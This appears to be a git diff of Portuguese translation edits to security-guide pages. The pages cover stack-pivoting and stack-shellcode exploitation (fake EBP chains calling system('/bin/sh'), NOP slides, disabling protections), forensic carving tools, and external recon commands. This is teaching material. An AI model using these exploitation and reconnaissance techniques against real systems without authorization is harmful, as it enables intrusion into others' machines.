 Em seguida, você precisa saber o endereço usado pelo `ret` que irá **executar código arbitrário**. Você poderia usar:
 
-- Um endereço válido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
+- Um endereço válido de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 - O endereço de **`system()`** seguido de **4 bytes de lixo** e o endereço de `"/bin/sh"` (x86 bits).
 - O endereço de um gadget **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido do **shellcode** a ser executado.
-- Alguma cadeia [**ROP**](../rop-return-oriented-programing/).
+- Alguma cadeia [**ROP**](../rop-return-oriented-programing/index.html)
 
 Lembre-se de que antes de qualquer um desses endereços na parte controlada da memória, deve haver **`4` bytes** por causa da parte **`pop`** da instrução `leave`. Seria possível abusar desses 4B para definir um **segundo EBP falso** e continuar controlando a execução.
 
 #### Exploit Off-By-One
 
-Há uma variante específica dessa técnica conhecida como "Off-By-One Exploit". É usada quando você pode **apenas modificar o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
-Normalmente, modifica-se o byte 0x00 para pular o mais longe possível.
+Há uma variante específica dessa técnica conhecida como "Exploit Off-By-One". É usada quando você pode **modificar apenas o byte menos significativo do EBP**. Nesse caso, a localização da memória que armazena o endereço para o qual pular com o **`ret`** deve compartilhar os três primeiros bytes com o EBP, permitindo uma manipulação semelhante com condições mais restritas.\
+Geralmente, modifica-se o byte 0x00 para pular o mais longe possível.
 
-Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para tornar mais provável que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
+Além disso, é comum usar um RET sled na pilha e colocar a verdadeira cadeia ROP no final para aumentar a probabilidade de que o novo ESP aponte dentro do RET SLED e a cadeia ROP final seja executada.
 
 ### **Encadeamento de EBP**
 
 Portanto, colocando um endereço controlado na entrada `EBP` da pilha e um endereço para `leave; ret` no `EIP`, é possível **mover o `ESP` para o endereço `EBP` controlado da pilha**.
 
-Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP isto:
+Agora, o **`ESP`** está controlado apontando para um endereço desejado e a próxima instrução a ser executada é um `RET`. Para abusar disso, é possível colocar no lugar controlado do ESP o seguinte:
 
-- **`&(próximo EBP falso)`** -> Carregar o novo EBP por causa do `pop ebp` da instrução `leave`
+- **`&(próximo EBP falso)`** -> Carrega o novo EBP por causa do `pop ebp` da instrução `leave`
 - **`system()`** -> Chamado pelo `ret`
 - **`&(leave;ret)`** -> Chamado após o término do sistema, moverá o ESP para o EBP falso e começará novamente
 - **`&("/bin/sh")`**-> Parâmetro para `system`
 
 Basicamente, dessa forma é possível encadear vários EBPs falsos para controlar o fluxo do programa.
 
-Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/), mas mais complexo sem benefício aparente, mas pode ser interessante em alguns casos extremos.
+Isso é como um [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), mas mais complexo, sem benefício aparente, mas pode ser interessante em alguns casos extremos.
 
 Além disso, aqui você tem um [**exemplo de um desafio**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que usa essa técnica com um **leak de pilha** para chamar uma função vencedora. Este é o payload final da página:
 ```python
@@ -94,7 +94,7 @@ print(p.recvline())
 ```
 ## EBP pode não ser usado
 
-Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca controla o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem efeito real.\
+Como [**explicado neste post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se um binário é compilado com algumas otimizações, o **EBP nunca consegue controlar o ESP**, portanto, qualquer exploit que funcione controlando o EBP basicamente falhará porque não tem nenhum efeito real.\
 Isso ocorre porque as **mudanças de prólogo e epílogo** se o binário estiver otimizado.
 
 - **Não otimizado:**
@@ -121,9 +121,9 @@ ret                 # return
 ```
 ## Outras maneiras de controlar RSP
 
-### **Gadget `pop rsp`**
+### **`pop rsp`** gadget
 
-[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **gadget `pop rsp`** e há um **leak da pilha**:
+[**Nesta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) você pode encontrar um exemplo usando esta técnica. Para este desafio, era necessário chamar uma função com 2 argumentos específicos, e havia um **`pop rsp` gadget** e há um **leak da pilha**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments
@@ -192,11 +192,11 @@ Verifique a técnica ret2esp aqui:
 
 ## ARM64
 
-No ARM64, o **prólogo e epílogo** das funções **não armazenam e recuperam o registro SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
+No ARM64, os **prologues e epilogues** das funções **não armazenam e recuperam o registro SP** na pilha. Além disso, a instrução **`RET`** não retorna ao endereço apontado pelo SP, mas **para o endereço dentro de `x30`**.
 
 Portanto, por padrão, apenas abusando do epílogo você **não conseguirá controlar o registro SP** sobrescrevendo alguns dados dentro da pilha. E mesmo que você consiga controlar o SP, ainda precisaria de uma maneira de **controlar o registro `x30`**.
 
-- prólogo
+- prologue
 
 ```armasm
 sub sp, sp, 16
@@ -204,7 +204,7 @@ stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
 mov x29, sp             // FP aponta para o registro de quadro
 ```
 
-- epílogo
+- epilogue
 
 ```armasm
 ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -2,11 +2,11 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Informações Básicas
+## Basic Information
 
 **Stack shellcode** é uma técnica usada em **binary exploitation** onde um atacante escreve shellcode na pilha de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está uma análise do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
 
-### Exemplo em C: Um Programa Vulnerável
+### C Example: A Vulnerable Program
 
 Vamos começar com um exemplo simples de um programa C vulnerável:
 ```c
@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-no-pie`: Desabilita o Executável Independente de Posição, facilitando a previsão do endereço de memória onde nosso shellcode estará localizado.
 - `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado por simplicidade no desenvolvimento de exploits.
 
-### Exploit em Python usando Pwntools
+### Python Exploit usando Pwntools
 
 Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
 ```python
@@ -68,12 +68,12 @@ p.interactive()
 ```
 Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
 
-O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um deslocamento para cair no NOP slide.
+O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode, independentemente do endereço exato. Ajuste o argumento `p32()` para o endereço inicial do seu buffer mais um offset para aterrissar no NOP slide.
 
 ## Proteções
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **deve ser desativado** para que o endereço seja confiável em execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) também devem ser desativadas ou o endereço de retorno EIP comprometido nunca será seguido.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável em execuções, ou o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win está carregada.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
 - A proteção **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediria a execução do shellcode dentro da pilha porque essa região não seria executável.
 
 ## Outros Exemplos & Referências

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Ferramentas de Carving & Recuperação
+## Carving & Recovery tools
 
 Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
@@ -44,7 +44,7 @@ Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **info
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Navegue por **todas as informações** que a ferramenta coletou (senhas?), **analise** os **pacotes** (leia[ **análise de Pcaps**](../pcap-inspection/)), procure por **domínios estranhos** (domínios relacionados a **malware** ou **inexistentes**).
+Navegue por **todas as informações** que a ferramenta coletou (senhas?), **analise** os **pacotes** (leia[ **análise de Pcaps**](../pcap-inspection/index.html)), procure por **domínios estranhos** (domínios relacionados a **malware** ou **inexistentes**).
 
 ### PhotoRec
 
@@ -60,7 +60,7 @@ Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da
 
 #### Recursos do BinVis
 
-- Visual e ativo **visualizador de estrutura**
+- Visualizador de **estrutura** visual e ativa
 - Múltiplos gráficos para diferentes pontos de foco
 - Foco em porções de uma amostra
 - **Visualizando strings e recursos**, em executáveis PE ou ELF, por exemplo
@@ -81,7 +81,7 @@ Baixe [aqui](https://sourceforge.net/projects/findaes/).
 
 ## Ferramentas Complementares
 
-Você pode usar [**viu**](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
-Você pode usar a ferramenta de linha de comando linux **pdftotext** para transformar um pdf em texto e lê-lo.
+Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
+Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md

@@ -34,13 +34,13 @@ scalpel file.img -o output
 ```
 ## Bulk Extractor
 
-Esta ferramenta vem incluída no kali, mas você pode encontrá-la aqui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+Esta ferramenta vem dentro do kali, mas você pode encontrá-la aqui: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
 
 Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **informações de rede (URLs, domínios, IPs, MACs, e-mails)** e mais **arquivos**. Você só precisa fazer:
 ```text
 bulk_extractor memory.img -o out_folder
 ```
-Navegue por **todas as informações** que a ferramenta coletou \(senhas?\), **analise** os **pacotes** \(leia[ **análise de Pcaps**](../pcap-inspection/)\), procure por **domínios estranhos** \(domínios relacionados a **malware** ou **inexistentes**\).
+Navegue por **todas as informações** que a ferramenta coletou \(senhas?\), **analise** os **pacotes** \(leia[ **análise de Pcaps**](../pcap-inspection/index.html)\), procure por **domínios estranhos** \(domínios relacionados a **malware** ou **inexistentes**\).
 
 ## PhotoRec
 

src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Ferramentas de Carving & Recuperação
+## Carving & Recovery tools
 
 Mais ferramentas em [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
 
@@ -44,7 +44,7 @@ Esta ferramenta pode escanear uma imagem e **extrair pcaps** dentro dela, **info
 ```
 bulk_extractor memory.img -o out_folder
 ```
-Navegue por **todas as informações** que a ferramenta coletou (senhas?), **analise** os **pacotes** (leia[ **análise de Pcaps**](../pcap-inspection/)), procure por **domínios estranhos** (domínios relacionados a **malware** ou **inexistentes**).
+Navegue por **todas as informações** que a ferramenta coletou (senhas?), **analise** os **pacotes** (leia[ **análise de Pcaps**](../pcap-inspection/index.html)), procure por **domínios estranhos** (domínios relacionados a **malware** ou **inexistentes**).
 
 ### PhotoRec
 
@@ -60,28 +60,28 @@ Verifique o [código](https://code.google.com/archive/p/binvis/) e a [página da
 
 #### Recursos do BinVis
 
-- Visual e ativo **visualizador de estrutura**
+- Visualizador de **estrutura** visual e ativa
 - Múltiplos gráficos para diferentes pontos de foco
 - Foco em porções de uma amostra
-- **Visualizando strings e recursos**, em executáveis PE ou ELF, por exemplo.
+- **Visualizando strings e recursos**, em executáveis PE ou ELF, por exemplo
 - Obtendo **padrões** para criptoanálise em arquivos
 - **Identificando** algoritmos de empacotamento ou codificação
 - **Identificar** Esteganografia por padrões
-- **Diferença** visual binária
+- **Diferença** visual de binários
 
-BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de black-boxing.
+BinVis é um ótimo **ponto de partida para se familiarizar com um alvo desconhecido** em um cenário de caixa-preta.
 
 ## Ferramentas Específicas de Carving de Dados
 
 ### FindAES
 
-Procura por chaves AES pesquisando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
+Procura por chaves AES buscando por seus cronogramas de chaves. Capaz de encontrar chaves de 128, 192 e 256 bits, como as usadas pelo TrueCrypt e BitLocker.
 
 Baixe [aqui](https://sourceforge.net/projects/findaes/).
 
 ## Ferramentas Complementares
 
 Você pode usar [**viu** ](https://github.com/atanunq/viu) para ver imagens a partir do terminal.\
-Você pode usar a ferramenta de linha de comando linux **pdftotext** para transformar um pdf em texto e lê-lo.
+Você pode usar a ferramenta de linha de comando do linux **pdftotext** para transformar um pdf em texto e lê-lo.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -10,12 +10,12 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
 
 1. Encontrar as aquisições da empresa principal, isso nos dará as empresas dentro do escopo.
 2. Encontrar o ASN (se houver) de cada empresa, isso nos dará os intervalos de IP pertencentes a cada empresa.
-3. Usar consultas de whois reverso para procurar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente).
-4. Usar outras técnicas como filtros `org` e `ssl` do shodan para procurar outros ativos (o truque `ssl` pode ser feito recursivamente).
+3. Usar consultas de whois reverso para buscar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente).
+4. Usar outras técnicas como filtros `org` e `ssl` do shodan para buscar outros ativos (o truque `ssl` pode ser feito recursivamente).
 
 ### **Aquisições**
 
-Primeiro de tudo, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
+Primeiro de tudo, precisamos saber quais **outras empresas são pertencentes à empresa principal**.\
 Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
 Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
 
@@ -66,11 +66,11 @@ Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-ne
 
 _Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
 
-Primeiramente, você deve procurar o(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
+Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
 
 ### **DNS Reverso**
 
-Como você encontrou todos os intervalos de IP dos domínios, você poderia tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
+Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de DNS reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
 ```bash
 dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
 dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -120,9 +120,9 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 ```
 ![favihash - descobrir domínios com o mesmo hash de ícone favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
 
-De forma simples, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
+Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
 
-Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, você pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
+Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que, se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
@@ -155,13 +155,13 @@ Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/d
 
 ### Informações de Mail DMARC
 
-Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios compartilhando as mesmas informações de dmarc**.
+Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios que compartilham as mesmas informações de dmarc**.
 
 ### **Tomada Passiva**
 
 Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **percam esse endereço IP, mas se esqueçam de remover o registro DNS**. Portanto, apenas **criar uma VM** em uma nuvem (como Digital Ocean) você estará, na verdade, **assumindo alguns subdomínios**.
 
-[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** apontando para ela.
+[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** que apontam para ela.
 
 ### **Outras maneiras**
 
@@ -171,15 +171,15 @@ Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem
 
 Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS.
 
-Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e, em seguida, pesquisar esse nome dentro dos **certificados TLS** de todas as páginas da web conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
 **Assetfinder**
 
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** a um domínio principal e **subdomínios** deles, bastante incrível.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
 
 ### **Procurando vulnerabilidades**
 
-Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas tenha **perdido a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
+Verifique se há alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
 
 Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
 &#xNAN;_&#x4E;ote que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
@@ -250,7 +250,7 @@ vita -d tesla.com
 ```bash
 theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
 ```
-Existem **outras ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrar subdomínios, como:
+Existem **outras ferramentas/APIs interessantes** que, mesmo não sendo diretamente especializadas em encontrar subdomínios, podem ser úteis para encontrá-los, como:
 
 - [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Usa a API [https://sonar.omnisint.io](https://sonar.omnisint.io) para obter subdomínios
 ```bash
@@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
 }
 crt tesla.com
 ```
-- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para um determinado domínio.
+- [**gau**](https://github.com/lc/gau)**:** busca URLs conhecidas do Open Threat Exchange da AlienVault, da Wayback Machine e do Common Crawl para qualquer domínio dado.
 ```bash
 # Get subdomains from GAUs found URLs
 gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -319,11 +319,11 @@ Este projeto oferece **gratuitamente todos os subdomínios relacionados a progra
 
 Você pode encontrar uma **comparação** de muitas dessas ferramentas aqui: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
 
-### **Força bruta de DNS**
+### **DNS Brute force**
 
 Vamos tentar encontrar novos **subdomínios** forçando servidores DNS usando possíveis nomes de subdomínio.
 
-Para essa ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
+Para esta ação, você precisará de algumas **listas de palavras comuns de subdomínios como**:
 
 - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
 - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@@ -331,11 +331,11 @@ Para essa ação, você precisará de algumas **listas de palavras comuns de sub
 - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
 - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
 
-E também IPs de bons resolvedores de DNS. Para gerar uma lista de resolvedores de DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
+E também IPs de bons resolvedores DNS. Para gerar uma lista de resolvedores DNS confiáveis, você pode baixar os resolvedores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) e usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrá-los. Ou você poderia usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
 
-As ferramentas mais recomendadas para força bruta de DNS são:
+As ferramentas mais recomendadas para brute-force DNS são:
 
-- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou uma força bruta de DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
+- [**massdns**](https://github.com/blechschmidt/massdns): Esta foi a primeira ferramenta que realizou um brute-force DNS eficaz. É muito rápida, no entanto, é propensa a falsos positivos.
 ```bash
 sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
 ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
 - [**altdns**](https://github.com/infosec-au/altdns): Além de gerar permutações de subdomínios, ele também pode tentar resolvê-los (mas é melhor usar as ferramentas comentadas anteriormente).
-- Você pode obter permutações de altdns **wordlist** em [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
+- Você pode obter a **wordlist** de permutações do altdns [**aqui**](https://github.com/infosec-au/altdns/blob/master/words.txt).
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
 
 ### **VHosts / Hosts Virtuais**
 
-Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com páginas nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
+Se você encontrou um endereço IP contendo **uma ou várias páginas da web** pertencentes a subdomínios, você pode tentar **encontrar outros subdomínios com sites nesse IP** procurando em **fontes OSINT** por domínios em um IP ou **forçando nomes de domínio VHost nesse IP**.
 
 #### OSINT
 
@@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
 ```
 ### **Buckets Brute Force**
 
-Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
-Além disso, como neste ponto você já conhecerá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
+Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Além disso, como neste ponto você já conhecerá todos os domínios dentro do escopo, tente [**forçar nomes de buckets possíveis e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
 ### **Monitorização**
 
@@ -456,9 +456,9 @@ Você pode **monitorar** se **novos subdomínios** de um domínio são criados m
 ### **Procurando por vulnerabilidades**
 
 Verifique possíveis [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
-Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).
+Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/index.html).
 
-Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar **neste livro algumas dicas para "atacá-los"**.\
+Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/index.html#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços que estão em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
 &#xNAN;_&#x4E;ote que às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
 
 ## IPs
@@ -476,13 +476,13 @@ Você também pode verificar domínios apontando para um endereço IP específic
 
 **Varra todas as portas dos IPs que não pertencem a CDNs** (pois você provavelmente não encontrará nada interessante lá). Nos serviços em execução descobertos, você pode ser **capaz de encontrar vulnerabilidades**.
 
